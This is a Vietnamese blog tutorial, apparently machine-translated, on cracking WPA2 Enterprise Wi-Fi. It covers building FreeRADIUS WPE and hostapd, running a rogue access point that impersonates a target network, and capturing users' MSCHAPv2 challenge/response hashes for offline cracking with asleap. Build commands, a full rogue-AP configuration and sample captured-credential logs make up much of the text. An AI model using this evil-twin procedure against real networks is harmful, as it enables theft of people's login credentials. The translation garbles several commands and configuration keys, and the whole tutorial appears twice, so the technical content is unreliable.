Cracking mạng không dây WPA2 Enterprise với FreeRADIUS WPE, hostapd và asleap & John the Ripper
Một số mạng không dây, đặc biệt là trong các công ty, không sử dụng các phương pháp tiếp cận quan trọng trước khi chia sẻ (WPA2-PSK) để hạn chế truy cập, nhưng thay vì sử dụng tên người dùng cá nhân và mật khẩu để thay thế (WPA2 Enterprise). Điều này thường được thực hiện bằng cách thực hiện các tiêu chuẩn 802.1x thông qua việc sử dụng một máy chủ RADIUS. Trong khi thiết lập này xuất hiện để được an toàn hơn, như tính năng trước đây về WPA2-PSK nứt cho thấy, các mạng không dây như là chỉ an toàn như các mật khẩu được sử dụng, trong trường hợp của một cấu hình rất phổ biến (mis) mà không có chứng thực lẫn nhau. Có nhiều hơn một chút công việc liên quan hơn trong trường hợp WPA2-PSK và đây là chủ đề của bài viết trên blog này.
Các cách tiếp cận chung là để mạo danh một điểm truy cập trong mạng không dây mà bạn đang tấn công và chạy máy chủ RADIUS của riêng bạn mà sẽ nắm bắt được các hash mật khẩu cho bạn mà bạn có thể sau đó nứt ẩn sử dụng asleap. Tôi sử dụng một Pi Raspberry chạy Kali Linux (sự kế thừa cho các distro BackTrack nổi tiếng) cho nhiệm vụ này, do đó, YMMV.
Có một bản vá để FreeRADIUS gọi FreeRADIUS Wireless Pwnage Edition (WPE) rất hữu ích cho quá trình này. Kể từ khi tôi đã sử dụng một Pi mà là dựa trên ARM chứ không phải dựa trên x86, tôi cần thiết để biên dịch FreeRADIUS WPE từ nguồn. Đầu tiên lấy nguồn qua Git:
git clone https://github.com/brad-anton/freeradius-wpe.git
Đi vào thư mục WPE và sau đó lấy mã nguồn của FreeRADIUS từ trang web của họ:
wget ftp://ftp.freeradius.org/pub/freeradius/freeradius-server-2.1.12.tar.bz2
Giải nén nó với:
tar jxvf FreeRADIUS-server-2.1.12.tar.bz2
Đi vào thư mục FreeRADIUS và vá nó với:
patch -p1 <../freeradius-wpe.patch
Biên dịch FreeRADIUS WPE với:
./configure
chế tạo
Tùy chọn: sudo make install
Bootstrap máy chủ FreeRADIUS WPE với:
cd / usr / local / etc / raddb / certs
./bootstrap && ldconfig
Bây giờ bạn có thể bắt đầu FreeRADIUS WPE trong chế độ gỡ lỗi với
radiusd -X
Theo mặc định FreeRADIUS WPE đăng thông tin để:
/usr/local/var/log/radius/freeradius-server-wpe.log
Bây giờ bạn có máy chủ RADIUS có thể nắm bắt các thông tin từ các xác thực 802.1x. Bước tiếp theo là tạo ra một điểm truy cập mạo danh các mạng không dây mà bạn đang tấn công. Bạn có thể sử dụng một điểm truy cập bên ngoài (sử dụng một phần mềm tùy chỉnh như DD-WRT) nhưng đối với bài tập này tôi đã sử dụng một dongle không dây D-Link cắm vào Pi và hostapd. Bạn có thể cài đặt phiên bản vani của hostpad qua apt-get trên Kali Linux hay Ubuntu, nhưng họ chỉ có phiên bản 1.1 trong kho. Nếu bạn muốn crack mạng Enterprise WPA2 bạn cần phải biên dịch hostapd phiên bản 2.0 từ nguồn.
Grab các nguồn cho hostapd v2.0 với:
wget http://hostap.epitest.fi/releases/hostapd-2.0.tar.gz
Giải nén nó và sau đó đi đến các thư mục hostapd bản thân và xây dựng nó với:
làm && make install
Bắt đầu hostapd với một tập tin cấu hình thích hợp (tôi sử dụng những lá cờ debug để biết thêm):
hostapd -dd hostapd-wpe.conf
Một ví dụ về một tập tin cấu hình thích hợp cho một điểm truy cập WPA2 Enterprise sẽ được (giả định rằng máy chủ FreeRADIUS WPE bạn đang lắng nghe trên localhost):
giao diện = wlan0
trình điều khiển = nl80211
ssid = opensecurityresearch
mã quốc gia = DE
logger_stdout = -1
logger_stdout_level = 0
dump_file = / tmp / hostapd.dump
ieee8021x = 1
eapol_key_index_workaround = 0
own_ip_addr = 127.0.0.1
auth_server_addr = 127.0.0.1
auth_server_port = 1812
auth_server_shared_secret = testing123
auth_algs = 3
WPA = 2
wpa_key_mgmt = WPA-EAP
kênh = 1
wpa_pairwise = CCMP
rsn_pairwise = CCMP
Pro-tip: kiểm tra xem bạn không có wpa_supplicant hoặc bất kỳ quá trình khác đang chạy trong nền mà là cố gắng để kiểm soát các giao tiếp không dây. Nếu bất kỳ quá trình khác đang cố gắng để kiểm soát các giao diện không dây sau đó hostapd sẽ không bắt đầu.
Chú ý rằng các thiết lập ở đây cần phải tương ứng như là chặt chẽ nhất có thể để các thiết lập của các điểm truy cập mà bạn cần phải thi đua, về thuật toán mã hóa được chào bán, vv Đặc biệt chú ý đến WPA1 vs WPA2 mà không phải là cùng một tiêu chuẩn. Bạn có thể kiểm tra cấu hình của các điểm truy cập bạn muốn thi đua với iwlist <interface_name> quét, ví dụ.
hướng dẫn đặc biệt này bao gồm vi phạm các giao thức xác thực mật khẩu EAP-MSCHAPv2. mạng WPA2 Enterprise khác có thể sử dụng EAP-TLS, ví dụ, mà là dựa trên chứng chỉ và out-of-phạm vi của hướng dẫn này.
Bây giờ khi một khách hàng kết nối đến điểm truy cập giả mạo của bạn họ sẽ được nhắc nhập tên người dùng và mật khẩu của họ. Một số khách hàng của Windows ngay cả được cấu hình để gửi thông tin của họ ngay lập tức ngay sau khi chúng được kết nối với một mạng WPA2 Enterprise. Nếu bạn là người may mắn và khách hàng không được cấu hình để cảnh báo về các chứng chỉ tự ký (đó là thật đáng buồn tất cả các quá thường xuyên các trường hợp), sau đó họ sẽ thấy hoàn toàn không có sự khác biệt giữa các điểm truy cập thực sự và một giả của bạn. FreeRADIUS WPE sẽ vui vẻ đăng nhập các thông tin cho bạn mà sau đó bạn có thể ăn vào asleap:
tail -f /usr/local/var/log/radius/freeradius-server-wpe.log
MSCHAP: Sat 01 Tháng 6 2013 08:46:56
Tên truy nhập: test
Thách thức: 1b: 0a: dd: d9: e6: 50: 5c: e7
phản ứng: de: f3: a8: 1f: 7e: 3c: 43: db: 04: f8: a0: 75
http://phreaklets.blogspot.com/2013/06/cracking-wireless-networks-protected.html
Các cách tiếp cận chung là để mạo danh một điểm truy cập trong mạng không dây mà bạn đang tấn công và chạy máy chủ RADIUS của riêng bạn mà sẽ nắm bắt được các hash mật khẩu cho bạn mà bạn có thể sau đó nứt ẩn sử dụng asleap. Tôi sử dụng một Pi Raspberry chạy Kali Linux (sự kế thừa cho các distro BackTrack nổi tiếng) cho nhiệm vụ này, do đó, YMMV.
Có một bản vá để FreeRADIUS gọi FreeRADIUS Wireless Pwnage Edition (WPE) rất hữu ích cho quá trình này. Kể từ khi tôi đã sử dụng một Pi mà là dựa trên ARM chứ không phải dựa trên x86, tôi cần thiết để biên dịch FreeRADIUS WPE từ nguồn. Đầu tiên lấy nguồn qua Git:
git clone https://github.com/brad-anton/freeradius-wpe.git
Đi vào thư mục WPE và sau đó lấy mã nguồn của FreeRADIUS từ trang web của họ:
wget ftp://ftp.freeradius.org/pub/freeradius/freeradius-server-2.1.12.tar.bz2
Giải nén nó với:
tar jxvf FreeRADIUS-server-2.1.12.tar.bz2
Đi vào thư mục FreeRADIUS và vá nó với:
patch -p1 <../freeradius-wpe.patch
Biên dịch FreeRADIUS WPE với:
./configure
chế tạo
Tùy chọn: sudo make install
Bootstrap máy chủ FreeRADIUS WPE với:
cd / usr / local / etc / raddb / certs
./bootstrap && ldconfig
Bây giờ bạn có thể bắt đầu FreeRADIUS WPE trong chế độ gỡ lỗi với
radiusd -X
Theo mặc định FreeRADIUS WPE đăng thông tin để:
/usr/local/var/log/radius/freeradius-server-wpe.log
Bây giờ bạn có máy chủ RADIUS có thể nắm bắt các thông tin từ các xác thực 802.1x. Bước tiếp theo là tạo ra một điểm truy cập mạo danh các mạng không dây mà bạn đang tấn công. Bạn có thể sử dụng một điểm truy cập bên ngoài (sử dụng một phần mềm tùy chỉnh như DD-WRT) nhưng đối với bài tập này tôi đã sử dụng một dongle không dây D-Link cắm vào Pi và hostapd. Bạn có thể cài đặt phiên bản vani của hostpad qua apt-get trên Kali Linux hay Ubuntu, nhưng họ chỉ có phiên bản 1.1 trong kho. Nếu bạn muốn crack mạng Enterprise WPA2 bạn cần phải biên dịch hostapd phiên bản 2.0 từ nguồn.
Grab các nguồn cho hostapd v2.0 với:
wget http://hostap.epitest.fi/releases/hostapd-2.0.tar.gz
Giải nén nó và sau đó đi đến các thư mục hostapd bản thân và xây dựng nó với:
làm && make install
Bắt đầu hostapd với một tập tin cấu hình thích hợp (tôi sử dụng những lá cờ debug để biết thêm):
hostapd -dd hostapd-wpe.conf
Một ví dụ về một tập tin cấu hình thích hợp cho một điểm truy cập WPA2 Enterprise sẽ được (giả định rằng máy chủ FreeRADIUS WPE bạn đang lắng nghe trên localhost):
giao diện = wlan0
trình điều khiển = nl80211
ssid = opensecurityresearch
mã quốc gia = DE
logger_stdout = -1
logger_stdout_level = 0
dump_file = / tmp / hostapd.dump
ieee8021x = 1
eapol_key_index_workaround = 0
own_ip_addr = 127.0.0.1
auth_server_addr = 127.0.0.1
auth_server_port = 1812
auth_server_shared_secret = testing123
auth_algs = 3
WPA = 2
wpa_key_mgmt = WPA-EAP
kênh = 1
wpa_pairwise = CCMP
rsn_pairwise = CCMP
Pro-tip: kiểm tra xem bạn không có wpa_supplicant hoặc bất kỳ quá trình khác đang chạy trong nền mà là cố gắng để kiểm soát các giao tiếp không dây. Nếu bất kỳ quá trình khác đang cố gắng để kiểm soát các giao diện không dây sau đó hostapd sẽ không bắt đầu.
Chú ý rằng các thiết lập ở đây cần phải tương ứng như là chặt chẽ nhất có thể để các thiết lập của các điểm truy cập mà bạn cần phải thi đua, về thuật toán mã hóa được chào bán, vv Đặc biệt chú ý đến WPA1 vs WPA2 mà không phải là cùng một tiêu chuẩn. Bạn có thể kiểm tra cấu hình của các điểm truy cập bạn muốn thi đua với iwlist <interface_name> quét, ví dụ.
hướng dẫn đặc biệt này bao gồm vi phạm các giao thức xác thực mật khẩu EAP-MSCHAPv2. mạng WPA2 Enterprise khác có thể sử dụng EAP-TLS, ví dụ, mà là dựa trên chứng chỉ và out-of-phạm vi của hướng dẫn này.
Bây giờ khi một khách hàng kết nối đến điểm truy cập giả mạo của bạn họ sẽ được nhắc nhập tên người dùng và mật khẩu của họ. Một số khách hàng của Windows ngay cả được cấu hình để gửi thông tin của họ ngay lập tức ngay sau khi chúng được kết nối với một mạng WPA2 Enterprise. Nếu bạn là người may mắn và khách hàng không được cấu hình để cảnh báo về các chứng chỉ tự ký (đó là thật đáng buồn tất cả các quá thường xuyên các trường hợp), sau đó họ sẽ thấy hoàn toàn không có sự khác biệt giữa các điểm truy cập thực sự và một giả của bạn. FreeRADIUS WPE sẽ vui vẻ đăng nhập các thông tin cho bạn mà sau đó bạn có thể ăn vào asleap:
tail -f /usr/local/var/log/radius/freeradius-server-wpe.log
MSCHAP: Sat 01 Tháng 6 2013 08:46:56
Tên truy nhập: test
Thách thức: 1b: 0a: dd: d9: e6: 50: 5c: e7
phản ứng: de: f3: a8: 1f: 7e: 3c: 43: db: 04: f8: a0: 75
http://phreaklets.blogspot.com/2013/06/cracking-wireless-networks-protected.html
Comments
Post a Comment